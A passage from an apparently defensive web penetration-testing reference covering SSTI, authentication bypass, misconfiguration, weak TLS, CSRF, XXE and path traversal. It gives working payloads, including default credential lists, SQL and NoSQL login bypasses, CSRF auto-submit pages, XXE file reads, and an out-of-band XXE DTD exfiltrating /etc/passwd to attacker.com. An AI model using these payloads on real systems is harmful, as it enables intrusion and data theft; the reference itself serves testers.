### 5.5 Tool Output Examples

#### Tplmap Output (Jinja2 Detected)
```
[+] Testing if GET parameter 'name' is injectable
[+] Smarty plugin is testing rendering with tag '{{*}}'
[+] Smarty plugin has confirmed injection with tag '{{*}}'
[+] Twig plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin is testing rendering with tag '{{*}}'
[+] Jinja2 plugin has confirmed injection with tag '{{7*7}}'
[+] Jinja2 plugin is testing blind injection
[+] Jinja2 plugin has confirmed blind injection

[+] Rerun tplmap providing one of the following options:
    --os-shell                 Run shell on the target
    --os-cmd                   Execute shell commands
    --upload LOCAL REMOTE      Upload files to the server
    --download REMOTE LOCAL    Download remote files
    --bind-shell PORT          Connect to a bind shell
    --reverse-shell HOST PORT  Send a reverse shell
```

---

## 6. Authentication Bypass / Default Credentials

### 6.1 Test Payloads

#### Default Credential Pairs
```
# Common defaults
admin:admin
admin:password
admin:password123
admin:admin123
administrator:administrator
root:root
root:toor
test:test
user:user
guest:guest
operator:operator
demo:demo

# Technology-specific defaults
# Apache Tomcat
tomcat:tomcat
tomcat:s3cret
admin:tomcat
manager:manager
role1:tomcat

# MySQL
root:(empty)
root:mysql
root:root

# PostgreSQL
postgres:postgres

# MongoDB
admin:(empty)

# Jenkins
admin:admin
admin:password

# phpMyAdmin
root:(empty)
root:root

# WordPress
admin:admin
admin:password

# Router/IoT
admin:admin
admin:1234
admin:12345
admin:default
cisco:cisco
```

#### Authentication Bypass Payloads
```
# SQL Injection in login
admin' --
admin' #
' OR 1=1--
' OR '1'='1
" OR "1"="1"--
admin'/*
' OR 1=1 LIMIT 1--
' UNION SELECT 1,'admin','password'--

# JSON type confusion
{"username": "admin", "password": {"$gt": ""}}
{"username": "admin", "password": {"$ne": "invalid"}}
{"username": {"$gt": ""}, "password": {"$gt": ""}}

# JWT manipulation
# Change algorithm to "none"
# Header: {"alg": "none", "typ": "JWT"}
# Remove signature

# HTTP Header manipulation
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin

# Path bypass
/admin -> 403
/Admin -> 200
/ADMIN -> 200
/admin/ -> 200
/admin/. -> 200
/%61%64%6d%69%6e -> 200
/./admin -> 200
/admin;/ -> 200
```

### 6.2 Vulnerable Response Patterns

#### Default Credentials Accepted
```http
POST /login HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded

username=admin&password=admin

HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.abc123; Path=/; HttpOnly
```

#### SQL Injection Bypass
```http
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin'--&password=anything

HTTP/1.1 302 Found
Location: /admin/dashboard
Set-Cookie: PHPSESSID=abc123def456; Path=/
```

#### JWT with "none" Algorithm Accepted
```http
GET /api/admin/users HTTP/1.1
Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.

HTTP/1.1 200 OK
Content-Type: application/json

{"users": [{"id": 1, "name": "admin", "role": "admin"}, ...]}
```

### 6.3 Safe/Patched Response Patterns

```http
HTTP/1.1 401 Unauthorized
Content-Type: application/json

{
    "error": "Authentication failed",
    "message": "Invalid username or password"
}
```

```http
HTTP/1.1 403 Forbidden
Content-Type: application/json
X-RateLimit-Remaining: 2

{
    "error": "Account locked",
    "message": "Too many failed attempts. Account locked for 30 minutes."
}
```

Key safe indicators:
- Default credentials changed on installation
- Generic error message (no username enumeration)
- Account lockout after N failed attempts
- Rate limiting on login endpoint
- JWT algorithm enforced server-side (rejects "none")
- MFA enforced for admin accounts

### 6.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Default creds | Login succeeds, session cookie set, redirect to admin panel | Login page reloads with error |
| SQL bypass | Redirected to authenticated area without valid password | SQL error displayed but no auth bypass |
| JWT none | API returns privileged data with unsigned/alg:none token | Server rejects token with 401 |
| Path bypass | /admin;/ returns actual admin content | /admin;/ returns same 403 as /admin |

### 6.5 Tool Output Examples

#### Hydra Brute Force Output
```
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-09 14:30:00
[DATA] max 16 tasks per 1 server, overall 16 tasks, 100 login tries (l:10/p:10), ~7 tries per task
[DATA] attacking http-post-form://target.example.com:80/login:username=^USER^&password=^PASS^:Invalid credentials
[80][http-post-form] host: target.example.com   login: admin   password: admin
[80][http-post-form] host: target.example.com   login: root   password: toor
1 of 1 target successfully completed, 2 valid passwords found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-09 14:30:45
```

#### Nmap Default Credentials Script
```
PORT   STATE SERVICE
8080/tcp open  http-proxy
| http-default-accounts:
|   [Apache Tomcat] at /manager/html/
|     tomcat:s3cret
|   [Apache Tomcat Host Manager] at /host-manager/html/
|_    tomcat:s3cret
```

---

## 7. Security Misconfiguration

### 7.1 Test Payloads

#### CORS Misconfiguration
```http
# Test: Origin reflection
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: https://evil.attacker.com

# Test: Null origin
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: null

# Test: Subdomain wildcard
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: https://evil.target.example.com

# Test: Prefix/suffix bypass
GET /api/sensitive-data HTTP/1.1
Host: target.example.com
Origin: https://target.example.com.attacker.com
```

#### Directory Listing
```
# Common paths to test
GET / HTTP/1.1
GET /icons/ HTTP/1.1
GET /images/ HTTP/1.1
GET /uploads/ HTTP/1.1
GET /backup/ HTTP/1.1
GET /config/ HTTP/1.1
GET /includes/ HTTP/1.1
GET /.git/ HTTP/1.1
GET /.svn/ HTTP/1.1
GET /.env HTTP/1.1
GET /wp-config.php.bak HTTP/1.1
GET /web.config HTTP/1.1
GET /server-status HTTP/1.1
GET /server-info HTTP/1.1
GET /phpinfo.php HTTP/1.1
GET /info.php HTTP/1.1
GET /actuator HTTP/1.1
GET /actuator/env HTTP/1.1
GET /actuator/health HTTP/1.1
GET /api/swagger-ui.html HTTP/1.1
GET /api-docs HTTP/1.1
GET /.well-known/openid-configuration HTTP/1.1
```

#### Missing Security Headers
```
# Headers to check:
Strict-Transport-Security (HSTS)
Content-Security-Policy (CSP)
X-Content-Type-Options
X-Frame-Options
X-XSS-Protection
Referrer-Policy
Permissions-Policy
Cache-Control (for sensitive pages)
```

### 7.2 Vulnerable Response Patterns

#### CORS - Reflected Origin with Credentials
```http
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.attacker.com
Access-Control-Allow-Credentials: true
Content-Type: application/json

{"user": "admin", "email": "admin@target.com", "api_key": "sk-abc123..."}
```

#### Directory Listing Enabled
```http
HTTP/1.1 200 OK
Content-Type: text/html

<html>
<head><title>Index of /backup/</title></head>
<body>
<h1>Index of /backup/</h1>
<pre>
<a href="../">../</a>
<a href="database_dump_2026-04-01.sql">database_dump_2026-04-01.sql</a>   01-Apr-2026 03:00  45M
<a href="config.yml.bak">config.yml.bak</a>                    08-Apr-2026 12:00  2.4K
<a href="users_export.csv">users_export.csv</a>                  07-Apr-2026 09:00  128K
</pre>
</body>
</html>
```

#### Exposed .git Directory
```http
GET /.git/HEAD HTTP/1.1

HTTP/1.1 200 OK
Content-Type: application/octet-stream

ref: refs/heads/main
```

#### Exposed .env File
```http
GET /.env HTTP/1.1

HTTP/1.1 200 OK

APP_NAME=MyApp
APP_ENV=production
APP_KEY=base64:abc123def456...
APP_DEBUG=true
DB_CONNECTION=mysql
DB_HOST=10.0.0.5
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=root
DB_PASSWORD=SuperSecretPassword123!
REDIS_HOST=10.0.0.6
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET_KEY=sk_live_abc123...
```

#### Missing Security Headers
```http
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/7.4.3
Content-Type: text/html; charset=UTF-8

<!-- No HSTS, no CSP, no X-Frame-Options, no X-Content-Type-Options -->
```

#### Debug Mode Enabled (Spring Boot Actuator)
```http
GET /actuator/env HTTP/1.1

HTTP/1.1 200 OK
Content-Type: application/json

{
  "activeProfiles": ["production"],
  "propertySources": [
    {
      "name": "systemProperties",
      "properties": {
        "java.version": {"value": "11.0.12"},
        "spring.datasource.url": {"value": "jdbc:mysql://10.0.0.5:3306/prod"},
        "spring.datasource.username": {"value": "root"},
        "spring.datasource.password": {"value": "******"}
      }
    }
  ]
}
```

### 7.3 Safe/Patched Response Patterns

```http
HTTP/1.1 200 OK
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Cache-Control: no-store
```

```http
# CORS - Proper allowlist
Access-Control-Allow-Origin: https://app.target.com
Access-Control-Allow-Credentials: true
Vary: Origin
```

```http
# Directory listing disabled
HTTP/1.1 403 Forbidden
```

```http
# .git blocked
HTTP/1.1 404 Not Found
```

### 7.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| CORS | Arbitrary origin reflected WITH credentials allowed | Wildcard `*` without credentials (less severe, no cookie theft) |
| Dir listing | Actual file listing with clickable links to sensitive files | Custom 404 page that looks like a directory index |
| .env | Returns actual environment variables with credentials | Returns 200 but empty/dummy content |
| Debug mode | Actuator/debug endpoints return real config data | Endpoint exists but returns limited/sanitized data |

### 7.5 Tool Output Examples

#### Nikto Scan Output
```
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          93.184.216.34
+ Target Hostname:    target.example.com
+ Target Port:        443
---------------------------------------------------------------------------
+ SSL Info:        Subject:  /CN=target.example.com
                   Ciphers:  TLS_AES_256_GCM_SHA384
                   Issuer:   /C=US/O=Let's Encrypt/CN=R3
+ Start Time:         2026-04-09 14:30:00 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Uncommon header 'x-powered-by' found, with contents: PHP/7.4.3.
+ /icons/: Directory indexing found.
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-default-files/
+ /.env: .env file found. This file may contain sensitive configuration data such as database credentials and API keys.
+ /.git/HEAD: Git repository found. This may allow the attacker to download the full source code of the application.
+ /phpinfo.php: Output from the phpinfo() function was found. This file reveals detailed server configuration.
+ /server-status: Apache server-status is accessible. This reveals detailed server performance and connection information.
+ OSVDB-3268: /backup/: Directory indexing found.
+ OSVDB-3092: /backup/: This might be interesting: potential backup directory.
+ /wp-config.php.bak: WordPress configuration backup found. May contain database credentials.
+ 8945 requests: 0 error(s) and 12 item(s) reported on remote host
+ End Time:           2026-04-09 14:32:47 (GMT-5) (167 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
```

---

## 8. Cryptographic Failures

### 8.1 Test Payloads / Checks

```
# TLS version testing
nmap --script ssl-enum-ciphers -p 443 target.example.com
testssl.sh target.example.com
sslscan target.example.com
sslyze target.example.com

# Check for weak ciphers
openssl s_client -connect target.example.com:443 -ssl3
openssl s_client -connect target.example.com:443 -tls1
openssl s_client -connect target.example.com:443 -cipher RC4
openssl s_client -connect target.example.com:443 -cipher DES
openssl s_client -connect target.example.com:443 -cipher NULL
openssl s_client -connect target.example.com:443 -cipher EXPORT

# Check for missing HSTS
curl -sI https://target.example.com | grep -i strict-transport

# Check for HTTP available (no redirect to HTTPS)
curl -sI http://target.example.com

# Check cookie flags
curl -sI https://target.example.com/login | grep -i set-cookie
# Look for missing: Secure, HttpOnly, SameSite flags

# Check for sensitive data in URL
# Passwords, tokens, session IDs in query strings
GET /login?password=secret123 HTTP/1.1
GET /reset?token=abc123 HTTP/1.1

# Check password hashing
# Verify not MD5, SHA1, or plaintext
```

### 8.2 Vulnerable Response Patterns

#### Weak TLS Configuration
```
# nmap ssl-enum-ciphers output showing vulnerable config
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   SSLv3:
|     ciphers:
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|   TLSv1.0:
|     ciphers:
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|       TLS_RSA_WITH_RC4_128_SHA (rsa 2048) - C
|       TLS_RSA_WITH_3DES_EDE_CBC_SHA (rsa 2048) - C
|     compressors:
|       NULL
|     cipher preference: server
|     warnings:
|       64-bit block cipher 3DES vulnerable to SWEET32 attack
|       Broken cipher RC4 is deprecated by RFC 7465
|   TLSv1.1:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (secp256r1) - A
|       TLS_RSA_WITH_AES_128_CBC_SHA (rsa 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (secp256r1) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (secp256r1) - A
|       TLS_RSA_WITH_AES_256_GCM_SHA384 (rsa 2048) - A
|       TLS_RSA_WITH_AES_128_GCM_SHA256 (rsa 2048) - A
|     compressors:
|       NULL
|     cipher preference: server
|_  least strength: C
```

#### testssl.sh Output (Vulnerable)
```
###########################################################
    testssl.sh       3.2 from https://testssl.sh/

      Testing protocols via sockets except NPN+ALPN

 Start 2026-04-09 14:30:00    -->> 93.184.216.34:443 (target.example.com) <<--

 Further IP addresses:   2606:2800:220:1:248:1893:25c8:1946
 rDNS (93.184.216.34):  target.example.com
 Service detected:       HTTP

 Testing protocols

 SSLv2      not offered (OK)
 SSLv3      offered (NOT ok)                       << VULNERABLE
 TLS 1      offered (deprecated)                   << SHOULD BE DISABLED
 TLS 1.1    offered (deprecated)                   << SHOULD BE DISABLED
 TLS 1.2    offered (OK)
 TLS 1.3    not offered                            << SHOULD BE OFFERED
 NPN/SPDY   not offered
 ALPN/HTTP2 not offered

 Testing vulnerabilities

 Heartbleed (CVE-2014-0160)            not vulnerable (OK)
 CCS (CVE-2014-0224)                   not vulnerable (OK)
 Ticketbleed (CVE-2016-9244)           not vulnerable (OK)
 ROBOT                                 not vulnerable (OK)
 Secure Renegotiation                  supported (OK)
 Secure Client-Initiated Renegotiation not vulnerable (OK)
 CRIME, TLS (CVE-2012-4929)            not vulnerable (OK)
 BREACH (CVE-2013-3587)                potentially NOT ok, "gzip" HTTP compression detected
 POODLE, SSL (CVE-2014-3566)           VULNERABLE (NOT ok), uses SSLv3+CBC
 TLS_FALLBACK_SCSV (RFC 7507)          Downgrade attack prevention NOT supported (NOT ok)
 SWEET32 (CVE-2016-2183)               VULNERABLE, uses 64 bit block ciphers
 FREAK (CVE-2015-0204)                 not vulnerable (OK)
 DROWN (CVE-2016-0800)                 not vulnerable (OK)
 LOGJAM (CVE-2015-4000)                not vulnerable (OK)
 BEAST (CVE-2011-3389)                 TLS1: VULNERABLE -- but alsoass protection
 LUCKY13 (CVE-2013-0169)               potentially VULNERABLE, uses CBC ciphers
 Winshock (CVE-2014-6321)              not vulnerable (OK)
 RC4 (CVE-2013-2566, CVE-2015-2808)    VULNERABLE (NOT ok): RC4 ciphers detected

 Testing cipher categories

 NULL ciphers                          not offered (OK)
 Anonymous NULL Ciphers                not offered (OK)
 Export ciphers (w/o ADH+NULL)         not offered (OK)
 LOW: 64 Bit + DES+RC2+MD5            not offered (OK)
 Triple DES Ciphers / IDEA             offered (NOT ok)
 Obsolete CBC ciphers (AES, ARIA etc.) offered
 Strong encryption (AEAD ciphers)      offered (OK)

 Testing certificate

 Certificate Validity (UTC)     expires < 60 days (31)   << WARN
 RSA key size (cert)            2048 bits (OK)
 Certificate Expiration         2026-05-10 (31 days)     << WARN
```

#### Cookies Without Security Flags
```http
HTTP/1.1 200 OK
Set-Cookie: session=abc123def456; Path=/
Set-Cookie: auth_token=xyz789; Path=/

# Missing: Secure flag (sent over HTTP)
# Missing: HttpOnly flag (accessible via JavaScript)
# Missing: SameSite flag (CSRF risk)
```

#### HTTP to HTTPS - No Redirect
```http
# HTTP request returns content (should 301 to HTTPS)
GET / HTTP/1.1
Host: target.example.com

HTTP/1.1 200 OK
Content-Type: text/html
# Full page content served over HTTP - credentials sent in cleartext
```

### 8.3 Safe/Patched Response Patterns

```
# nmap ssl-enum-ciphers - Strong config
PORT    STATE SERVICE
443/tcp open  https
| ssl-enum-ciphers:
|   TLSv1.2:
|     ciphers:
|       TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256 (ecdh_x25519) - A
|       TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
|     compressors:
|       NULL
|     cipher preference: server
|   TLSv1.3:
|     ciphers:
|       TLS_AES_256_GCM_SHA384 (ecdh_x25519) - A
|       TLS_CHACHA20_POLY1305_SHA256 (ecdh_x25519) - A
|       TLS_AES_128_GCM_SHA256 (ecdh_x25519) - A
|     cipher preference: server
|_  least strength: A
```

```http
# Secure cookie flags
Set-Cookie: session=abc123; Path=/; Secure; HttpOnly; SameSite=Strict
```

```http
# HTTP to HTTPS redirect
HTTP/1.1 301 Moved Permanently
Location: https://target.example.com/
Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
```

### 8.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Weak TLS | SSLv3 or TLS 1.0/1.1 actively negotiated, RC4/3DES offered | Old protocol listed but not actually negotiable (tool false alarm) |
| POODLE | SSLv3 with CBC ciphers confirmed exploitable | SSLv3 offered but all CBC ciphers disabled |
| Missing HSTS | No Strict-Transport-Security header on HTTPS response | HSTS present but short max-age (lower severity, not absent) |
| Insecure cookies | Session cookie lacks Secure flag AND site uses HTTPS | Non-session cookie (e.g., preference) missing Secure flag |

### 8.5 Tool Output Examples

See nmap and testssl.sh outputs in Section 8.2 above.

#### sslscan Output (Weak)
```
  Supported Server Cipher(s):
Preferred TLSv1.2  256 bits  ECDHE-RSA-AES256-GCM-SHA384   Curve 25519 DHE 253
Accepted  TLSv1.2  128 bits  ECDHE-RSA-AES128-GCM-SHA256   Curve 25519 DHE 253
Accepted  TLSv1.2  256 bits  AES256-GCM-SHA384
Accepted  TLSv1.0  128 bits  AES128-SHA                                         << WEAK
Accepted  TLSv1.0  128 bits  RC4-SHA                                            << INSECURE
Accepted  SSLv3    112 bits  DES-CBC3-SHA                                       << INSECURE

  SSL Certificate:
    Signature Algorithm: sha256WithRSAEncryption
    RSA Key Strength:    2048

  Subject:  target.example.com
  Issuer:   Let's Encrypt Authority X3
  Not valid before: Mar 10 00:00:00 2026 GMT
  Not valid after:  Jun  8 23:59:59 2026 GMT
```

---

## 9. CSRF (Cross-Site Request Forgery)

### 9.1 Test Payloads

#### Basic CSRF PoC (HTML Form)
```html
<!-- Auto-submitting form -->
<html>
<body>
<form action="https://target.example.com/account/change-email" method="POST" id="csrf-form">
    <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('csrf-form').submit();</script>
</body>
</html>
```

#### CSRF with JSON Body
```html
<html>
<body>
<script>
fetch('https://target.example.com/api/account/change-password', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({"new_password": "hacked123"})
});
</script>
</body>
</html>
```

#### CSRF Token Bypass Attempts
```
# Remove CSRF token entirely
POST /change-email HTTP/1.1
email=attacker@evil.com
(no csrf_token parameter)

# Empty CSRF token
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=

# CSRF token from another session
POST /change-email HTTP/1.1
email=attacker@evil.com&csrf_token=valid_token_from_different_session

# Method override (POST->GET to skip token check)
GET /change-email?email=attacker@evil.com HTTP/1.1

# Content-Type change to bypass
POST /api/change-email HTTP/1.1
Content-Type: text/plain

{"email":"attacker@evil.com"}

# Referrer header bypass
Referer: https://target.example.com.attacker.com/page
```

#### CSRF via XSS (Token Extraction)
```html
<script>
// Extract CSRF token from page, then submit forged request
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/change-email', {
    method: 'POST',
    headers: {'Content-Type': 'application/x-www-form-urlencoded'},
    body: 'email=attacker@evil.com&csrf_token=' + token
});
</script>
```

### 9.2 Vulnerable Response Patterns

#### No CSRF Protection
```http
# State-changing request with no token, request succeeds
POST /account/change-email HTTP/1.1
Host: target.example.com
Cookie: session=victim_session_abc123
Content-Type: application/x-www-form-urlencoded
Origin: https://attacker.com
Referer: https://attacker.com/csrf-poc.html

email=attacker@evil.com

HTTP/1.1 200 OK
Content-Type: application/json

{"message": "Email updated successfully", "new_email": "attacker@evil.com"}
```

#### Token Removed - Still Accepted
```http
# Original request has csrf_token, but removing it still works
POST /account/change-email HTTP/1.1
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded

email=attacker@evil.com

HTTP/1.1 200 OK
{"message": "Email updated successfully"}
```

### 9.3 Safe/Patched Response Patterns

```http
# Missing CSRF token - rejected
POST /account/change-email HTTP/1.1
Cookie: session=victim_session
Content-Type: application/x-www-form-urlencoded

email=attacker@evil.com

HTTP/1.1 403 Forbidden
Content-Type: application/json

{"error": "CSRF token validation failed", "message": "Invalid or missing CSRF token"}
```

```http
# Cross-origin request blocked by SameSite cookie
POST /account/change-email HTTP/1.1
Cookie: (no cookies sent - SameSite=Strict blocked them)
Origin: https://attacker.com

HTTP/1.1 401 Unauthorized
{"error": "Authentication required"}
```

Key safe indicators:
- CSRF token required and validated for all state-changing requests
- Token tied to user session (not reusable across sessions)
- SameSite=Strict or SameSite=Lax on session cookies
- Origin/Referer header validated
- Double-submit cookie pattern implemented

### 9.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| Missing token | State-changing action succeeds without CSRF token | Action requires authentication that cross-origin request can't provide (SameSite cookies) |
| Token bypass | Removing/changing token still allows action | Token is present but decorative (JSON API with strict CORS = not exploitable) |
| Cross-origin | Form submission from attacker origin succeeds | CORS blocks the preflight for JSON requests |
| Impact | Email/password change, fund transfer, or privilege escalation via CSRF | Read-only action (no state change) triggered cross-origin |

### 9.5 Tool Output Examples

#### Burp Suite CSRF Scanner Finding
```xml
<issue>
  <type>2098944</type>
  <name>Cross-site request forgery</name>
  <host>https://target.example.com</host>
  <path>/account/change-email</path>
  <severity>Medium</severity>
  <confidence>Tentative</confidence>
  <issueDetail>
    The application does not appear to use anti-CSRF tokens. No CSRF token was
    identified in the request. The application's session cookie does not have the
    SameSite attribute set.
  </issueDetail>
</issue>
```

---

## 10. XXE (XML External Entity)

### 10.1 Test Payloads

#### Classic XXE - File Read
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>
  <data>&xxe;</data>
</root>
```

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<user>
  <name>&xxe;</name>
  <email>test@test.com</email>
</user>
```

#### XXE - Windows File Read
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>
```

#### XXE - SSRF
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>
<root>&xxe;</root>
```

```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server.local:8080/admin">
]>
<root>&xxe;</root>
```

#### Blind XXE - Out-of-Band (OOB)
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
  %xxe;
]>
<root>test</root>
```

Contents of evil.dtd (hosted on attacker server):
```xml
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/steal?data=%file;'>">
%eval;
%exfiltrate;
```

#### Blind XXE - Error-Based Exfiltration
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
  %eval;
  %error;
]>
<root>test</root>
```

#### XXE via File Upload (SVG)
```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg">
  <text font-size="16" x="0" y="16">&xxe;</text>
</svg>
```

#### XXE via File Upload (XLSX/DOCX)
```
# XLSX and DOCX files are ZIP archives containing XML
# Inject XXE into [Content_Types].xml or xl/sharedStrings.xml
# Unzip, modify XML, re-zip
```

#### XXE - Billion Laughs (DoS)
```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<root>&lol5;</root>
```

### 10.2 Vulnerable Response Patterns

#### XXE - File Contents Returned
```http
POST /api/parse-xml HTTP/1.1
Host: target.example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>

HTTP/1.1 200 OK
Content-Type: application/json

{
    "user": {
        "name": "root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false"
    }
}
```

#### XXE - Error-Based Exfiltration
```http
HTTP/1.1 500 Internal Server Error
Content-Type: text/xml

<?xml version="1.0"?>
<error>
  <message>java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin (No such file or directory)</message>
</error>
```

#### Blind XXE - Attacker Server Receives Callback
```
# On attacker server (http://attacker.com):
[2026-04-09 14:35:22] GET /steal?data=root:x:0:0:root:/root:/bin/bash%0Adaemon:x:1:1:... HTTP/1.1
From: 93.184.216.34 (target server IP)
User-Agent: Java/11.0.12
```

### 10.3 Safe/Patched Response Patterns

```http
HTTP/1.1 400 Bad Request
Content-Type: application/json

{
    "error": "XML parsing error",
    "message": "DOCTYPE declarations are not allowed"
}
```

```http
HTTP/1.1 200 OK
Content-Type: application/json

{
    "user": {
        "name": ""
    }
}
# Entity not resolved, empty value or literal "&xxe;" text
```

Key safe indicators:
- External entity processing disabled (DTD processing disabled)
- DOCTYPE declarations rejected
- XML parser configured to disallow external entities
- Using JSON instead of XML where possible
- libxml2 `LIBXML_NOENT` flag NOT set (default is safe)

### 10.4 True Positive vs False Positive

| Indicator | True Positive | False Positive |
|-----------|---------------|----------------|
| File read | Contents of /etc/passwd or other files appear in response | XML parsing error mentions entity but doesn't resolve it |
| OOB callback | HTTP/DNS callback received on attacker server from target IP | No callback received (entity processing disabled) |
| Error-based | File contents appear in error message | Generic XML parsing error without file contents |
| DoS | Billion laughs causes server memory exhaustion / timeout | Server rejects entity expansion limits |

### 10.5 Tool Output Examples

#### Burp Suite XXE Detection
```xml
<issue>
  <type>1049088</type>
  <name>XML external entity injection</name>
  <host>https://target.example.com</host>
  <path>/api/parse-xml</path>
  <severity>High</severity>
  <confidence>Certain</confidence>
  <issueDetail>
    The application parses XML input and supports XML external entity declarations.
    An external entity was defined referencing a URL on the Burp Collaborator server,
    and the application retrieved the contents of this URL. Data was returned in the
    application's response. The payload:
    &lt;!DOCTYPE foo [&lt;!ENTITY xxe SYSTEM "http://xyz.burpcollaborator.net"&gt;]&gt;
    was processed and a DNS/HTTP interaction was observed.
  </issueDetail>
</issue>
```

---

## 11. Path Traversal / LFI

### 11.1 Test Payloads

#### Basic Path Traversal
```
# Linux targets
../../../etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../etc/hostname
../../../proc/self/environ
../../../proc/version
../../../proc/self/cmdline
../../../var/log/apache2/access.log
